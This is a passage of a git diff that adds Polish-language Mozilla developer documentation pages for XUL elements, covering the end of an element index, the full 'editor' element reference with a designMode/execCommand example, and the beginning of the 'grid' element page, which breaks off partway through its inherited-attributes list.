+<a href="pl/XUL/separator">separator</a><br>
+<a href="pl/XUL/spacer">spacer</a><br>
+<a href="pl/XUL/spinbuttons">spinbuttons</a><br>
+<a href="pl/XUL/splitter">splitter</a><br>
+<a href="pl/XUL/stack">stack</a><br>
+<a href="pl/XUL/statusbar">statusbar</a><br>
+</p>
+</td>
+<td>
+<p><a href="pl/XUL/statusbarpanel">statusbarpanel</a><br>
+<a href="pl/XUL/stringbundle">stringbundle</a><br>
+<a href="pl/XUL/stringbundleset">stringbundleset</a><br>
+<a href="pl/XUL/tab">tab</a><br>
+<a href="pl/XUL/tabbrowser">tabbrowser</a> (tylko Firefox <br> powyżej wersji 3/Gecko 1.9)<br>
+<a href="pl/XUL/tabbox">tabbox</a><br>
+<a href="pl/XUL/tabpanel">tabpanel</a><br>
+<a href="pl/XUL/tabpanels">tabpanels</a><br>
+<a href="pl/XUL/tabs">tabs</a><br>
+<a href="pl/XUL/template">template</a><br>
+<a href="pl/XUL/textnode">textnode</a><br>
+<a href="pl/XUL/textbox">textbox</a><br>
+<a href="pl/XUL/textbox_(Firefox_-_automatyczne_uzupe%c5%82nianie)">textbox (Firefox - automatyczne uzupełnianie)</a><br>
+<a href="pl/XUL/textbox_(Mozilla_-_automatyczne_uzupe%c5%82nianie)">textbox (Mozilla - automatyczne uzupełnianie)</a><br>
+<a href="pl/XUL/timepicker">timepicker</a><br>
+<a href="pl/XUL/titlebar">titlebar</a><br>
+<a href="pl/XUL/toolbar">toolbar</a><br>
+<a href="pl/XUL/toolbarbutton">toolbarbutton</a><br>
+<a href="pl/XUL/toolbargrippy">toolbargrippy</a><br>
+<a href="pl/XUL/toolbaritem">toolbaritem</a><br>
+<a href="pl/XUL/toolbarpalette">toolbarpalette</a><br>
+<a href="pl/XUL/toolbarseparator">toolbarseparator</a><br>
+<a href="pl/XUL/toolbarset">toolbarset</a><br>
+<a href="pl/XUL/toolbarspacer">toolbarspacer</a><br>
+<a href="pl/XUL/toolbarspring">toolbarspring</a><br>
+<a href="pl/XUL/toolbox">toolbox</a><br>
+<a href="pl/XUL/tooltip">tooltip</a><br>
+<a href="pl/XUL/tree">tree</a><br>
+<a href="pl/XUL/treecell">treecell</a><br>
+<a href="pl/XUL/treechildren">treechildren</a><br>
+<a href="pl/XUL/treecol">treecol</a><br>
+<a href="pl/XUL/treecols">treecols</a><br>
+<a href="pl/XUL/treeitem">treeitem</a><br>
+<a href="pl/XUL/treerow">treerow</a><br>
+<a href="pl/XUL/treeseparator">treeseparator</a><br>
+<a href="pl/XUL/triple">triple</a><br>
+<a href="pl/XUL/vbox">vbox</a><br>
+<a href="pl/XUL/where">where</a><br>
+<a href="pl/XUL/window">window</a><br>
+<a href="pl/XUL/wizard">wizard</a><br>
+<a href="pl/XUL/wizardpage">wizardpage</a><br>
+</p>
+</td>
+</tr>
+</tbody></table>
+<h3 id="Inne_listy_o_XUL" name="Inne_listy_o_XUL"> Inne listy o XUL </h3>
+<ul><li> <a href="pl/XUL/Atrybut">Wszystkie atrybuty</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87">Wszystkie własności</a>
+</li><li> <a href="pl/XUL/Metoda">Wszystkie metody</a>
+</li><li> <a href="pl/Atrybuty_elementu_XUL">Atrybuty elementu XUL</a>
+</li><li> <a href="pl/XUL/Zdarzenia">Obiekty zdarzeń</a>
+</li></ul>
+<p><br>
+</p><p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/editor/index.html b/files/pl/mozilla/tech/xul/editor/index.html
new file mode 100644
index 0000000000..c58cd9c6fe
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/editor/index.html
@@ -0,0 +1,213 @@
+---
+title: editor
+slug: Mozilla/Tech/XUL/editor
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/editor
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Ramka, która powinna zawierać edytowalny dokument. Aby utworzyć dokument edytora, należy ustawić wartość atrybutu <code id="a-editortype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/editortype">editortype</a></code> na <code>html</code>. Mozilla posiada dwa typy edytorów, edytor HTML i edytor tekstowy. Edytor nie posiada żadnego interfejsu użytkownika; należy go utworzyć we własnym zakresie. Jednakże funkcje edycji tekstu, zmiany rozmiaru obrazków i edycji tabel są od razu udostępniane. W przypadku nieustawienia atrybutu <code id="a-editortype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/editortype">editortype</a></code>, edytowalność musi zostać włączona przy użyciu metody <span id="m-makeEditable"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/makeEditable">makeEditable</a></code></span>.
+</p><p>Aby określić dokument do załadowania w edytorze, należy użyć atrybutu <code id="a-src"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/src">src</a></code>. Jednakże istnieje problem, gdy wstępnie zostanie określony atrybut <code id="a-src"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/src">src</a></code> znacznika <code>editor</code> w pliku XUL, dokument nie będzie domyślnie edytowalny. Aby włączyć edytowalność, należy skorzystać z jednej z poniższych metod:
+</p>
+<ol><li> Ustawić atrybut <code id="a-src"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/src">src</a></code> po załadowaniu okna, na przykład za pomocą uchwytu zdarzenia <code>onload</code>. Można również ustawić atrybut <code id="a-src"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/src">src</a></code> na plik wybrany przez użytkownika w oknie wyboru pliku. W tym przypadku należy ustawić atrybut editortype edytora.
+</li><li> Wywołać metodę <span id="m-makeEditable"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/makeEditable">makeEditable</a></code></span>, aby dokument załadowany do edytora stał się edytowalny.
+</li></ol>
+<p>Aby edytować nowy dokument, należy ustawić atrybut <code id="a-src"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/src">src</a></code> na <code>about:blank</code>. </p>
+<dl><dt> Atrybuty
+</dt><dd> <a href="#a-editortype">editortype</a>, <a href="#a-src">src</a>, <a href="#a-type">type</a>
+</dd></dl>
+<dl><dt> Własności
+</dt><dd> <a href="#p-accessible">accessible</a>, <a href="#p-commandManager">commandManager</a>, <a href="#p-contentDocument">contentDocument</a>, <a href="#p-contentWindow">contentWindow</a>, <a href="#p-docShell">docShell</a>, <a href="#p-editingSession">editingSession</a>, <a href="#p-editortype">editortype</a>, <a href="#p-webBrowserFind">webBrowserFind</a>, <a href="#p-webNavigation">webNavigation</a>
+</dd></dl>
+<dl><dt> Metody
+</dt><dd> <a href="#m-getEditor">getEditor</a>, <a href="#m-getHTMLEditor">getHTMLEditor</a>, <a href="#m-makeEditable">makeEditable</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<p>Poniższy przykład demonstruje sposób nadania edytowalności dokumentowi otwartemu w edytorze przy użyciu własności <code>designMode</code> wczytanego dokumentu HTML:
+</p>
+<pre>&lt;script language="javascript"&gt;
+function initEditor(){
+ // funkcja wywoływana do przygotowania edytora
+ var editor = document.getElementById("myEditor");
+ editor.contentDocument.designMode = 'on'
+}
+&lt;/script&gt;
+&lt;editor id="myEditor" editortype="html" src="about:blank" flex="1" type="content-primary"/&gt;
+</pre>
+<p>Po nadaniu edytowalności, do dokumentu można wstawiać specjalne formatowanie, a także inne elementy HTML, przy użyciu metody <code>document.execCommand</code>:
+</p>
+<pre> var editor = document.getElementById("myEditor");
+
+ // toggle bold for the current selection
+ editor.contentDocument.execCommand("bold", false, null);
+</pre>
+<p>Artykuł na temat edytora <a href="pl/Midas">Midas</a> zawiera więcej informacji na temat poleceń metody <code>execCommand</code>.
+</p>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p>
+</p><div id="a-editortype">
+
+<dl><dt> <code id="a-editortype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/editortype">editortype</a></code>
+</dt><dd> Typ: <i>jedna z wartości poniżej</i>
+</dd><dd> Typ edytora do zastosowania. Ta wartość będzie przesłonięta w zależności od typu dokumentu załadowanego w edytorze.
+</dd></dl>
+<ul><li> <code>html</code>: Edytor HTML.
+</li><li> <code>text</code>: Edytor tekstowy.
+</li></ul>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-src">
+
+<dl>
+ <dt>
+ <code id="a-src"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/src">src</a></code></dt>
+ <dd>
+ Typ: <i>URL</i></dd>
+ <dd>
+ Adres URL zawartości do wyświetlenia w elemencie.</dd>
+</dl>
+
+<p> </p>
+</div>
+<div id="a-editor.type">
+
+<dl><dt> <a href="pl/XUL/Atrybut/editor.type">type</a>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Jeśli ustawiony jest na <code>content-primary</code>, to edytor stanie się główną zawartością strony. Okno dla głównej zawartości można wygodniej pobrać przy użyciu <code>window.content</code>.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p>
+</p><div id="p-accessible">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/accessible">accessible</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ <a href="pl/NsIAccessible">nsIAccessible</a></i>
+ </dd>
+ <dd>
+ Zwraca obiekt dostępności dla elementu.</dd>
+</dl></div>
+<div id="p-commandManager">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/commandManager">commandManager</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ <a href="pl/NsICommandManager">nsICommandManager</a></i>
+ </dd>
+ <dd>
+ Menedżer poleceń pozwalający na dokonywanie operacji w edytorze.</dd>
+</dl></div>
+<div id="p-contentDocument">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/contentDocument">contentDocument</a></span></code>
+</dt><dd> Typ: <i>document</i>
+</dd><dd> Własność tylko do odczytu zawierająca obiekt dokumentu w danym elemencie.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<div id="p-contentWindow">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/contentWindow">contentWindow</a></span></code></dt>
+ <dd>
+ Typ: <em>window</em></dd>
+ <dd>
+ Własność tylko do odczytu zawierająca obiekt okna w elemencie.</dd>
+</dl>
+<p></p></div>
+<div id="p-docShell">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/docShell">docShell</a></span></code>
+</dt><dd> Typ: <i><a href="pl/NsIDocShell">nsIDocShell</a></i>
+</dd><dd> Własność tylko do odczytu zawierająca obiekt <a href="pl/NsIDocShell">nsIDocShell</a> dla dokumentu.
+</dd></dl>
+
+</div>
+<div id="p-editingSession">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/editingSession">editingSession</a></span></code>
+</dt><dd> Typ: <i><a href="pl/NsIEditingSession">nsIEditingSession</a></i>
+</dd><dd> Sesja edycji dla edytora, używana do zainicjowania edytora. Zazwyczaj korzystanie z tej własności nie jest konieczne.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<div id="p-editortype">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/editortype">editortype</a></span></code>
+</dt><dd> Typ: <i>jedna z wartości poniżej</i>
+</dd><dd> Typ edytora do zastosowania. Ta wartość będzie przesłonięta w zależności od typu dokumentu załadowanego w edytorze.
+</dd></dl>
+<ul><li> <code>html</code>: Edytor HTML.
+</li><li> <code>text</code>: Edytor tekstowy.
+</li></ul>
+<p><br>
+</p>
+
+</div>
+<div id="p-webBrowserFind">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/webBrowserFind">webBrowserFind</a></span></code>
+</dt><dd> Typ: <i><a href="pl/NsIWebBrowserFind">nsIWebBrowserFind</a></i>
+</dd><dd> Własność tylko do odczytu zawierająca obiekt <a href="pl/NsIWebBrowserFind">nsIWebBrowserFind</a>, którego można użyć do szukania tekstu w dokumencie.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<div id="p-webNavigation">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/webNavigation">webNavigation</a></span></code>
+</dt><dd> Typ: <i><a href="pl/NsIWebNavigation">nsIWebNavigation</a></i>
+</dd><dd> Własność tylko do odczytu zawiera obiekt <a href="pl/NsIWebNavigation">nsIWebNavigation</a> dla dokumentu. Wiele z jego metod może być wywoływanych bezpośrednio na dokumencie; są to takie metody jak <span id="m-goBack"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/goBack">goBack</a></code></span> i <span id="m-goForward"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/goForward">goForward</a></code></span>. Zawiera także stałe wczytywania wykorzystywane przez <span id="m-reloadWithFlags"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/reloadWithFlags">reloadWithFlags</a></code></span> i <span id="m-loadURIWithFlags"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/loadURIWithFlags">loadURIWithFlags</a></code></span>.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><dl><dt> <span id="m-getEditor"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getEditor">getEditor( window )</a></code></span>
+</dt><dd> Zwraca typ: <i><a href="pl/NsIEditor">nsIEditor</a></i>
+</dd><dd> Zwraca interfejs edycji dla edytora, który zawiera szereg metod pozwalających na manipulację dokumentem. Jako argument należy przekazać <code>contentWindow</code> edytora.
+</dd></dl>
+<p><br>
+</p>
+<dl><dt> <span id="m-getHTMLEditor"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getHTMLEditor">getHTMLEditor( window )</a></code></span>
+</dt><dd> Zwraca typ: <i><a href="pl/NsIHTMLEditor">nsIHTMLEditor</a></i>
+</dd><dd> Zwraca interfejs edycji HTML dla edytora, który zawiera szereg <a class="external" href="http://www.xulplanet.com/references/xpcomref/comps/c_editorhtmleditor1.html">metod</a> pozwalających na manipulację dokumentem HTML. Jako argument należy przekazać <code>contentWindow</code> edytora.
+</dd></dl>
+<p><br>
+</p>
+<dl><dt> <span id="m-makeEditable"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/makeEditable">makeEditable( editortype, waitForLoad )</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Ta funkcja włącza edycję w edytorze. Należy określić typ edytora – <code>text</code> lub <code>html</code> – w atrybucie <code id="a-editortype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/editortype">editortype</a></code>.
+</dd></dl>
+<p><br>
+</p>
+<table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt> Interfejsy
+</dt><dd> <a href="pl/NsIAccessibleProvider">nsIAccessibleProvider</a>
+</dd></dl>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/grid/index.html b/files/pl/mozilla/tech/xul/grid/index.html
new file mode 100644
index 0000000000..94d143c0b3
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/grid/index.html
@@ -0,0 +1,121 @@
+---
+title: grid
+slug: Mozilla/Tech/XUL/grid
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/grid
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Siatka jest elementem składającym się z dwóch elementów; wierszy (<code><a href="/pl/docs/Mozilla/Tech/XUL/rows" title="rows">rows</a></code>) oraz kolumn (<code><a href="/pl/docs/Mozilla/Tech/XUL/columns" title="columns">columns</a></code>). Jest ona stosowana do tworzenia siatki elementów. Wyświetlane są zarówno wiersze, jak i kolumny, choć zazwyczaj tylko jeden z tych rodzajów elementów będzie zawierał treść, podczas gdy drugi będzie zawierał informacje o wymiarach. Na wierzchu wyświetlany jest ostatni element, niezależnie od jego rodzaju. <span class="comment">chodzi najwyrażniej o to, że jeśli najpierw zadeklarujemy kolumny, to wyświetlane będą wiersze, a kolumny opisują wymiary komórek i odwrotnie - jeśli zadeklarujemy wiersze najpierw, to treść umieszczamy w kolumnach... ostatnie zdanie i tak jest niejasne w en-US...</span>
+</p><p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Siatki">kursie XUL</a>.
+</p>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<div class="float-right"><img alt="Image:XUL_ref_grid.png"></div>
+<pre>&lt;!-- groupbox containing a grid.
+ The second column is twice as big as the first column --&gt;
+&lt;groupbox&gt;
+ &lt;caption label="Details"/&gt;
+ &lt;grid&gt;
+ &lt;columns&gt;
+ &lt;column flex="1"/&gt;
+ &lt;column flex="2"/&gt;
+ &lt;/columns&gt;
+ &lt;rows&gt;
+ &lt;row&gt;
+ &lt;label value="User name"/&gt;
+ &lt;textbox id="user"/&gt;
+ &lt;/row&gt;
+ &lt;row&gt;
+ &lt;label value="Group"/&gt;
+ &lt;menulist&gt;
+ &lt;menupopup&gt;
+ &lt;menuitem label="Accounts"/&gt;
+ &lt;menuitem label="Sales" selected="true"/&gt;
+ &lt;menuitem label="Support"/&gt;
+ &lt;/menupopup&gt;
+ &lt;/menulist&gt;
+ &lt;/row&gt;
+ &lt;/rows&gt;
+ &lt;/grid&gt;
+&lt;/groupbox&gt;
+</pre>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
